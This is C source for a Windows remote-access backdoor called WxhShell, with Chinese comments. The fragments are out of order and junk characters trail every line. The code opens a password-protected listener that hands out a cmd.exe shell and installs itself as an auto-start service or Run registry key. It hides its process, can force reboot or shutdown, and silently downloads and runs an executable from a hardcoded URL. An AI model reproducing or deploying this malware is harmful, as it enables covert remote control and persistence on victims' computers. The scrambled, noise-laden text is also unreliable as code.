    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]GiDfYs7%  
    else { :?$<:  
    closesocket(wsh); "b0!h6$!H  
    ExitThread(0); nXW]9zC"/  
    } ogJ>`0 +J  
    break; $yZ(ws  
    } w/wU~~  
  // 关机 $uUJV% EX  
  case 'd': { =UV=F/Af^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oN[# C>#(  
    if(Boot(SHUTDOWN)) 0E`6g6xMS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eB5<N?;s  
    else { |"Fm<  
    closesocket(wsh); 3&Fqd  
    ExitThread(0); W C3b_ia  
    } CW@G(R  
    break; QW>(LGG=  
    } }J] P`v  
  // 获取shell .KxE>lJbqM  
  case 's': { Iq(;?_  
    CmdShell(wsh); {ud^+I&  
    closesocket(wsh); y5:al7*P  
    ExitThread(0); ^j g{MTa  
    break; 3L%g2`  
  } z<s4-GJ)?  
  // 退出 !@@rO--&  
  case 'x': { Zq>}SR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m NApFwZ  
    CloseIt(wsh); d5tp w$A  
    break; -O>*` O>M  
    } !GBGC|avE  
  // 离开 <>K@#|%Y&  
  case 'q': { nuX W/7M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OvW/{  
    closesocket(wsh); P%xz"l i  
    WSACleanup(); -g)*v<Fb5  
    exit(1); 0Z>oiBr4  
    break; &<%U7?{~  
        } /pDI \]  
  } c}g:vh  
  } !YEU<9  
QtsyMm  
  // 提示信息 P;!4 VK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /WI HG0D  
} Y&_1U/}h  
  } 9 ulr6  
UT7".1H  
  return; 1MzOHE  
} 7w=%aW|  
y i/jZX  
// shell模块句柄 2_ HPsEx  
int CmdShell(SOCKET sock) ^NTOZ0x~#  
{ A4W61f  
STARTUPINFO si; e/h7x\Z  
ZeroMemory(&si,sizeof(si)); id.W"5+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C&ivjFf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k6 f;A  
PROCESS_INFORMATION ProcessInfo; zorTZ #5  
char cmdline[]="cmd"; #UH7z 4u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); md/Z[du:'  
  return 0; = pS\gLQu  
} =}~h bPJM  
\HOOWaapN  
// 自身启动模式 <P3r}|K  
int StartFromService(void) +xlxhF  
{ eMvb*X6  
typedef struct b\w88=|  
{ [y T4n.f  
  DWORD ExitStatus; =7mR#3yt  
  DWORD PebBaseAddress; 8D:{05  
  DWORD AffinityMask; RfB""b8]=  
  DWORD BasePriority; ZCMB]bL-e  
  ULONG UniqueProcessId; BKm$H! u  
  ULONG InheritedFromUniqueProcessId; sy` : wp  
}   PROCESS_BASIC_INFORMATION; TUEEwDK-  
QW f)5S  
PROCNTQSIP NtQueryInformationProcess; puv*p %E  
1h+!<c q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8P!dk5 ,,O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LxVd7r VY6  
| pp  @  
  HANDLE             hProcess; S~F:%@,*  
  PROCESS_BASIC_INFORMATION pbi; 88U4I  
IR%a+;Xs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7-ba-[t#A  
  if(NULL == hInst ) return 0; xM;gF2  
) ZOmv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q'2PG@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4ij`   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vO{ijHKE  
VJCh5t*  
  if (!NtQueryInformationProcess) return 0; Xt= &  
J5Fg]O*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :Rt5=0x   
  if(!hProcess) return 0; 2ZtqZ64i  
Lx?bO`=qg7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e|Sg?ocR  
d=qpTb;(  
  CloseHandle(hProcess); ]QT0sGl  
#4//2N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z{p6Q1u  
if(hProcess==NULL) return 0; &OhKx  
45MK|4\Y_  
HMODULE hMod; "}SERC7  
char procName[255]; #]eXI $HP  
unsigned long cbNeeded; rY!uc!  
6>=>Yj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xp} vJl   
eN> (IW  
  CloseHandle(hProcess); LDBR4@V  
4(aesZ8h  
if(strstr(procName,"services")) return 1; // 以服务启动 %&_(IY$d  
kmc9P&  
  return 0; // 注册表启动 }uHc7gTBF7  
} "j a0,%3  
_kY5 6  
// 主模块 |O4A+S  
int StartWxhshell(LPSTR lpCmdLine) k9Sqp :l,  
{ 7 $9fGo  
  SOCKET wsl; T![K i  
BOOL val=TRUE; z}Z`kq+C  
  int port=0; ?Nh%!2n  
  struct sockaddr_in door; d(@A  
34oL l#q*  
  if(wscfg.ws_autoins) Install(); 40#KcbMa|  
/M3D[aR<d  
port=atoi(lpCmdLine); HQ s)T  
4C*3#/TR  
if(port<=0) port=wscfg.ws_port; sRZ:9de+  
5dgBSL$A}]  
  WSADATA data; R&4E7wrdP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; AltE~D/4  
/B!m|)h5~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yX-xVvlv@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OpL 6Y+<  
  door.sin_family = AF_INET; FvJSJ.;E,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Oq2H>eW`f  
  door.sin_port = htons(port); ob00(?;H  
'QS"4EvdD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9#(QS+q~  
closesocket(wsl); ;yZ N "r  
return 1; /J+)P<_A  
} AfEEYP)N  
xI<dBg|]+  
  if(listen(wsl,2) == INVALID_SOCKET) { 6g"<i}_|  
closesocket(wsl); _#4,&bh8  
return 1; 3E ZwF  
} vf yv a  
  Wxhshell(wsl); O0{  
  WSACleanup(); YxtkI:C?  
*i{.@RX?  
return 0; ~1'468  
2`I;f/S d  
} 3kQ^f=Wd  
2SJh6U  
// 以NT服务方式启动 X}-H=1T?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7S2F^,w  
{ N1!5J(V4  
DWORD   status = 0; 5 WppV3;  
  DWORD   specificError = 0xfffffff; _;q-+"6L;  
? 03Zy3 /  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 48g^~{T4O  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; sOxdq"E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +7/*y}.U  
  serviceStatus.dwWin32ExitCode     = 0; Hm* vKFhz  
  serviceStatus.dwServiceSpecificExitCode = 0; y+scJ+<  
  serviceStatus.dwCheckPoint       = 0; %gMpV  
  serviceStatus.dwWaitHint       = 0; i 9tJHeSm  
[T}]Ma*CS  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tMZ(s  
  if (hServiceStatusHandle==0) return; d95N$n   
% B &?D@  
status = GetLastError(); ~9 WJrRWB  
  if (status!=NO_ERROR) /Z " 4[  
{ D Ok^ON  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]A]E)*  
    serviceStatus.dwCheckPoint       = 0; RpK,ixbtA+  
    serviceStatus.dwWaitHint       = 0; *@arn Eu  
    serviceStatus.dwWin32ExitCode     = status; `O=;E`ep  
    serviceStatus.dwServiceSpecificExitCode = specificError; WQLL[{mhS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gZEA;N:H%<  
    return; n{Qh8"  
  } P>T*:!s;  
y]YS2^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mr NOcx&  
  serviceStatus.dwCheckPoint       = 0; ~<aeA'>OA  
  serviceStatus.dwWaitHint       = 0; +Q!xEfpO;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]t*P5  
} K@ sP~('  
Pv-V7`{  
// 处理NT服务事件,比如:启动、停止 `?o1cf A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fA M4Q  
{ jbhJ;c:  
switch(fdwControl) x\bRj>%(  
{ W8yfa[z~J  
case SERVICE_CONTROL_STOP: ;Q>3N(  
  serviceStatus.dwWin32ExitCode = 0; W3V{Xk|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8P<UO  
  serviceStatus.dwCheckPoint   = 0; 9MtJo.A  
  serviceStatus.dwWaitHint     = 0; /IJ9_To  
  { 88np/jvC{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )47j8jL  
  } =7]Q6h@X  
  return; aBVEk2 p  
case SERVICE_CONTROL_PAUSE: 3@F+E\k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c7l!G~yx'  
  break; @2~O^5[>  
case SERVICE_CONTROL_CONTINUE: 0o=6A<#x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K]pKe" M  
  break; P$6f+{  
case SERVICE_CONTROL_INTERROGATE: :Y J7J4  
  break; [%iUg\'7d  
}; ^Q)gsJY|I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -90ZI1O`  
} F%_,]^ n[  
3n84YX{  
// 标准应用程序主函数 zsMw5C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fy _<Ui  
{ p[@oF5M  
_KM$u>B8  
// 获取操作系统版本 hKH$AEHEU}  
OsIsNt=GetOsVer(); Ss<_K>wk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q:- ]d0B+  
l q\'  
  // 从命令行安装 F'UguC">  
  if(strpbrk(lpCmdLine,"iI")) Install(); Dmm r]~  
fs3 -rXoB  
  // 下载执行文件 CVGOX z  
if(wscfg.ws_downexe) { (| 36!-(iK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X6Nm!od'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5<)gCHa  
} x^#6>oOR  
-l40)^ E}  
if(!OsIsNt) { 6N %L8Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 .,ppGc| *  
HideProc(); yYG3/Z3u5  
StartWxhshell(lpCmdLine); A1|7(Sow  
} A^4kYOe  
else EBIa%,  
  if(StartFromService()) vNK`Y|u@  
  // 以服务方式启动 ezg^5o;  
  StartServiceCtrlDispatcher(DispatchTable); p'Y&Z?8  
else '?`@7Eol  
  // 普通方式启动 u1pc5 Y{  
  StartWxhshell(lpCmdLine); \=EY@ *=  
[DotS\p!z  
return 0; %TW% |"v  
} ~`~%(DA=  
z)ft3(!  
0279g   
2Z/][?Jj{  
=========================================== \f /!  
M|[@znzR<  
h+B'_ `(  
5D]30  
Fi?32e4KI5  
bRK CY6  
" wuBlFUSg  
z<yNG/M1>U  
#include <stdio.h> e>?_)B4  
#include <string.h> 7Ykj#"BZ  
#include <windows.h> DnG/ n  
#include <winsock2.h> &O+sK4 P  
#include <winsvc.h> f!M[awj%  
#include <urlmon.h> h V|v6 _  
|5}rX!wS4  
#pragma comment (lib, "Ws2_32.lib") ~),;QQ,  
#pragma comment (lib, "urlmon.lib") r 1l/) ;  
l50|` 6t  
#define MAX_USER   100 // 最大客户端连接数 08Pt(kzNA  
#define BUF_SOCK   200 // sock buffer ,Lt~u_lve  
#define KEY_BUFF   255 // 输入 buffer .g/ARwM}  
{[M0y*^64$  
#define REBOOT     0   // 重启 "<PoJPh  
#define SHUTDOWN   1   // 关机 [):{5hMA  
97qtJ(ESI  
#define DEF_PORT   5000 // 监听端口 5"-una>D  
} * ?n?'  
#define REG_LEN     16   // 注册表键长度 h*;g0QBkl  
#define SVC_LEN     80   // NT服务名长度 b(P HZCy#  
u%6Irdx  
// 从dll定义API Z/89&Uy`h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lj " Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >\|kJ?h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Cec9#C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5+e>+$2  
TIcd _>TW  
// wxhshell配置信息 ZQ,fm`y\  
struct WSCFG { #dva0%-1  
  int ws_port;         // 监听端口 NLcO{   
  char ws_passstr[REG_LEN]; // 口令 lv<iJH\  
  int ws_autoins;       // 安装标记, 1=yes 0=no .-SDo"K.h  
  char ws_regname[REG_LEN]; // 注册表键名 g  ,/a6M  
  char ws_svcname[REG_LEN]; // 服务名 D~G5]M,}$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]}mly` Fw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d\~p5_5.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q!4i_)rM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ${A5-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G0_&gx`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,{.zh&=4  
U0NOU#  
}; w)45SZ.  
B#HV20\?v  
// default Wxhshell configuration +V)qep"  
struct WSCFG wscfg={DEF_PORT, }1U#Ve,=_  
    "xuhuanlingzhe", t$U3|r  
    1, nc3sty1`  
    "Wxhshell", ES^>[2Y  
    "Wxhshell", ;j>*;Q`  
            "WxhShell Service", 0lX)Cl  
    "Wrsky Windows CmdShell Service", mgi,b2  
    "Please Input Your Password: ", [<]Y+33  
  1, 1vB-M6(  
  "http://www.wrsky.com/wxhshell.exe", eq^TA1>T  
  "Wxhshell.exe" vS7/~:C  
    }; C>*5=p|T  
6-mmi7IfO  
// 消息定义模块 DRH'A!r!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =?= )s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^y:FjQC:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G 6Wx3~  
char *msg_ws_ext="\n\rExit."; ( MB`hk-d  
char *msg_ws_end="\n\rQuit."; M (+.$uz  
char *msg_ws_boot="\n\rReboot..."; o .l;: Un  
char *msg_ws_poff="\n\rShutdown..."; p]wP36<S!  
char *msg_ws_down="\n\rSave to "; uz]E_&2  
:|Z$3q  
char *msg_ws_err="\n\rErr!"; R;H?gE^m-  
char *msg_ws_ok="\n\rOK!"; 1a<]$tZk  
J__;.rnk  
char ExeFile[MAX_PATH]; <A)+|Y"^h6  
int nUser = 0; Vo #:CB=8  
HANDLE handles[MAX_USER]; jr9&.8%W:v  
int OsIsNt; Y8)}P WMs  
_Ny8j~  
SERVICE_STATUS       serviceStatus; =kd YN 5R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,5/V@;i  
q.-y)C) ;  
// 函数声明 _ e6a8  
int Install(void); >R(8/#|E  
int Uninstall(void); \M7I&~V  
int DownloadFile(char *sURL, SOCKET wsh); {I`B[,*  
int Boot(int flag); Xc\* 9XV:  
void HideProc(void); kt :)W])V  
int GetOsVer(void); ]\OWZ{T'j  
int Wxhshell(SOCKET wsl); W@l+ciZ_  
void TalkWithClient(void *cs); 3@&bxYXm  
int CmdShell(SOCKET sock); o>2e !7  
int StartFromService(void); c\M#5+1j  
int StartWxhshell(LPSTR lpCmdLine); 6^Ph '  
{]=v]O |,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q4X7Iu:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xad*I ulj  
HeCcF+  
// 数据结构和表定义 XdcG0D^  
SERVICE_TABLE_ENTRY DispatchTable[] = Ejq=*UOP  
{ lj)f4zu  
{wscfg.ws_svcname, NTServiceMain}, vK(I3db !  
{NULL, NULL} CoJ55TAW  
}; ^"1TPd|  
cFLd)mt/  
// 自我安装 $'^&\U~?  
int Install(void) YZibi  
{ X6xx2v%D  
  char svExeFile[MAX_PATH]; &} ,*\Oj  
  HKEY key; ?L=A2C\_-  
  strcpy(svExeFile,ExeFile); )!cI|tovs  
W}>=JoN^J  
// 如果是win9x系统,修改注册表设为自启动 i`+B4I8[  
if(!OsIsNt) { Gfv(w=rr?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { On4w/L9L5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \k;U}Te<  
  RegCloseKey(key); `|]e6Pb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }'lNi^"XL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q!K`e)R  
  RegCloseKey(key); [G a~%m  
  return 0; &eIGF1ws  
    } m=QCG)s  
  } vh &GIb  
} :7\9xH  
else { h4Ia>^@  
B20_ig:  
// 如果是NT以上系统,安装为系统服务 \OcMiuw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H>?F8R_iq  
if (schSCManager!=0) _S"f_W  
{ 71O3O7  
  SC_HANDLE schService = CreateService E:FO_R(Xq  
  ( 8Y# bN*!  
  schSCManager, %w7m\nw@  
  wscfg.ws_svcname, ZW*n /#GUC  
  wscfg.ws_svcdisp, JvkL37^ n:  
  SERVICE_ALL_ACCESS, ^n9a " qz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,-@5NY1q  
  SERVICE_AUTO_START, 7UKYmJk.  
  SERVICE_ERROR_NORMAL, *zy'#`>  
  svExeFile, RlsVC_H\  
  NULL, 6 mO"  
  NULL, |) Pi6Y  
  NULL, t8& q9$  
  NULL, Jf)3< ~G  
  NULL [Uli>/%JB  
  ); TFy7HX\Oq  
  if (schService!=0) F6W}mMZH/N  
  { Pd~MiyO;K  
  CloseServiceHandle(schService); 2J<&rKCF  
  CloseServiceHandle(schSCManager); hmZvIy(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -4flV D  
  strcat(svExeFile,wscfg.ws_svcname); ;xK_qBIP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /)9W1U^B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,)h)5o(?  
  RegCloseKey(key); B!bsTvX  
  return 0; B wC+ov=  
    } tWY2o3j  
  } o9Sn*p-.  
  CloseServiceHandle(schSCManager); W&(f&{A  
} LmQ/#Gx  
} Z)&D`RCf  
=-~;OH /  
return 1; cS|VJWgTZ  
} ,+._;[k  
5j eO"jB  
// 自我卸载 ]` ]g@v  
int Uninstall(void) =Ikg.jYq&F  
{ kq-6HDR  
  HKEY key; e"Rm_t  
5)'P'kVi7.  
if(!OsIsNt) { o2=A0ogz?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \ZD[ !w7  
  RegDeleteValue(key,wscfg.ws_regname); `HW:^T  
  RegCloseKey(key); Ftv8@l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (ZP87Gz  
  RegDeleteValue(key,wscfg.ws_regname); ->E=&X  
  RegCloseKey(key); uLN[*D  
  return 0; _8><| 3d  
  } )NT5yF,m  
} n.hElgkUOr  
} 59*M"1['Q  
else { KrKu7]If6#  
;;V\"7q'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KWhZ +i`  
if (schSCManager!=0) - 8bNQU  
{ }rbZ&IN\?E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e*]r  
  if (schService!=0) ;GsQR+en  
  { /N)5 3!LT  
  if(DeleteService(schService)!=0) { 8LJ{i%  
  CloseServiceHandle(schService); !@g)10u  
  CloseServiceHandle(schSCManager); tNnyue{p  
  return 0; !e3YnlE  
  } Q_zr\RM>  
  CloseServiceHandle(schService); h qmSE'8  
  } [s` G^  
  CloseServiceHandle(schSCManager); <7n]Ai@Y  
} 1H{jy^sP7  
} R$m`Z+/@  
iOqk*EL_r\  
return 1; 7Kf}O6nE  
} (~s|=Hxq|-  
f9TV%fG?  
// 从指定url下载文件 & ,L9OU  
int DownloadFile(char *sURL, SOCKET wsh) xx8U$,Ng  
{ :reTJQwr  
  HRESULT hr; Zb''mf\  
char seps[]= "/"; 8Fq_i-u  
char *token; c ~F dx  
char *file; 'C?NJ~MN  
char myURL[MAX_PATH]; Qw)9r{f  
char myFILE[MAX_PATH]; bJ3(ckhq  
#c Kqnk  
strcpy(myURL,sURL); j@1)K3Hga  
  token=strtok(myURL,seps); fgF;&(b  
  while(token!=NULL) Ec]|p6a3  
  { o6}n8U}bk  
    file=token; ~}%~oT  
  token=strtok(NULL,seps); F}X0',   
  } 7m1KR#j  
Q\kub_I{@  
GetCurrentDirectory(MAX_PATH,myFILE); Sm|(  
strcat(myFILE, "\\"); m)&znLA  
strcat(myFILE, file); SEF6B45}1  
  send(wsh,myFILE,strlen(myFILE),0); \#dl6:"  
send(wsh,"...",3,0); Q M 1F?F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F#V q#|_)>  
  if(hr==S_OK) p-$Cs _{Z  
return 0; \ijMw  
else x?r1s#88>  
return 1; K7`YJp`i  
P $ >`  
} ?tYpc_p#  
UAYd?r  
// 系统电源模块 rwqv V ^  
int Boot(int flag) /8gL.i$  
{ &35|16z%@  
  HANDLE hToken; 8SmjZpQ?  
  TOKEN_PRIVILEGES tkp; (P@Y36j>N  
F u _@!K  
  if(OsIsNt) { #a9_~\s  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |3eGz%Sd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); OXhAha`R  
    tkp.PrivilegeCount = 1; |)U|:F/{@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F^kwdS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &%F@O<:  
if(flag==REBOOT) { 30F!kP*E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y=B3q8l5  
  return 0; fA^Em)cs2  
} "="O >  
else { n:#TOU1ix<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F0dI/+  
  return 0; 3$p#;a:=n  
} Utt>H@t[  
  } E{Vo'!LY  
  else { n9hm790x-  
if(flag==REBOOT) { KCR N}`^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <$E6oZ  
  return 0; ]~c+'E`  
} Ruaur]  
else { RR|\- 8;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \54}T 4R  
  return 0; YD[H  
} pSAR/':eg  
} HW_& !ye  
R>)MiHcCg  
return 1; 3 <SqoJSp  
} R p.W,)i  
eaZQ2  
// win9x进程隐藏模块 7 'w0  
void HideProc(void) Q/^A #l[  
{ s ic$uT  
N:BL=} V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dpqt;8"2L  
  if ( hKernel != NULL ) 2(#Ks's?  
  { Dy9\O77>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); clDHTj=~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :nGMtF  
    FreeLibrary(hKernel); \e:d)^cbh  
  } ;j} yB  
a/:XXy |  
return; ;e s^R?z  
} kU*{4G|6  
\cySWP[  
// 获取操作系统版本 \2!!L=&4G  
int GetOsVer(void) /g.]RY+u|x  
{ f}fsoDoQ=  
  OSVERSIONINFO winfo; zQ8!rCkg4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S`q%ypy  
  GetVersionEx(&winfo); "'tRfB   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) UH3t(o7O  
  return 1; _a'A~JY  
  else hU {-a`  
  return 0; T~>#2N-Z  
} cvo[s, p  
I3y9:4  
// 客户端句柄模块 FxU'LN<;HY  
int Wxhshell(SOCKET wsl) vv5i? F  
{ =!.m GW-Q}  
  SOCKET wsh; (Wj2?k/]  
  struct sockaddr_in client; -G`.y?  
  DWORD myID; Dz&+PES_k  
jPJAWXB4a  
  while(nUser<MAX_USER) Fwfo2   
{ *y7 $xa4  
  int nSize=sizeof(client); Y94MI1O5$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T1 MY X  
  if(wsh==INVALID_SOCKET) return 1; SgM.B  
F:T GsV#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >- Bg%J9  
if(handles[nUser]==0) Z!{UWegun  
  closesocket(wsh); ClUSrSp  
else >mm' -P  
  nUser++; Fr:5$,At7-  
  } l (kr'x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tk?UX7F  
>)#c\{ c  
  return 0; vq6%Ey3Gix  
} ygViPz<J  
y\PxR708  
// 关闭 socket ;A#~` P  
void CloseIt(SOCKET wsh) :)c80`-E  
{ ]7/gJ>g,  
closesocket(wsh); P]6}\ ]~  
nUser--; o$J6 ~dn  
ExitThread(0); RUXCq`)"<  
} +x1/-J8_sg  
0|Uc d  
// 客户端请求句柄 $99R|^  
void TalkWithClient(void *cs) ?d-70pm  
{ JLm @Ag  
"4 k-dj  
  SOCKET wsh=(SOCKET)cs; ?]!vRmZ;  
  char pwd[SVC_LEN]; ^Kq|ID AP  
  char cmd[KEY_BUFF]; ^ eh /HnJs  
char chr[1]; HnZPw&*  
int i,j; ^ddO&!U  
<^><3U`  
  while (nUser < MAX_USER) { }T(z4P3  
G\~^&BAC  
if(wscfg.ws_passstr) { *xH\)|3,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8vD3=yK%^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |4>:M\h  
  //ZeroMemory(pwd,KEY_BUFF); v\A.Tyy  
      i=0; R@`rT*lJ  
  while(i<SVC_LEN) { =_-C%<4  
:pZ}*?\  
  // 设置超时 `gguip-C  
  fd_set FdRead; C{m&}g`  
  struct timeval TimeOut; Cvn$]bt/s  
  FD_ZERO(&FdRead); 2p< Aj!  
  FD_SET(wsh,&FdRead); ?2`$3[ET-  
  TimeOut.tv_sec=8; aiux^V  
  TimeOut.tv_usec=0; [.cq{6-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O%JSViPw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t4K56H.L?  
dOXD{c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x ^vt; $  
  pwd=chr[0]; <r\I"z$  
  if(chr[0]==0xd || chr[0]==0xa) { p:[LnL  
  pwd=0; DeQDH5X"  
  break; 3% vis\~^  
  } XB/'u39  
  i++; 2 P}bG>M  
    } _z"o1`{w  
<GZhH:  
  // 如果是非法用户,关闭 socket b! tludb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pXW`+<g0  
} 8(lCi$  
jnBC;I[:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V SAafux  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =vEkMJ Os  
KwFXB  
while(1) { Ay$>(;  
u0]q`u/ T  
  ZeroMemory(cmd,KEY_BUFF); qgexb\x\4  
J/kH%_ >Ir  
      // 自动支持客户端 telnet标准   dR[o|r  
  j=0; ^k72{ 3N(  
  while(j<KEY_BUFF) { 'JZ_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c@OP5L>{  
  cmd[j]=chr[0]; A ,<@m2  
  if(chr[0]==0xa || chr[0]==0xd) { Rx S884  
  cmd[j]=0; *m&&1W_  
  break; 4iBxPo(0  
  } !~J WYY  
  j++; W_JhNe  
    } MSYN1  
$u5.!{Wq?  
  // 下载文件 ,nYZxYLf+  
  if(strstr(cmd,"http://")) { cU | _  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !5.v'K'  
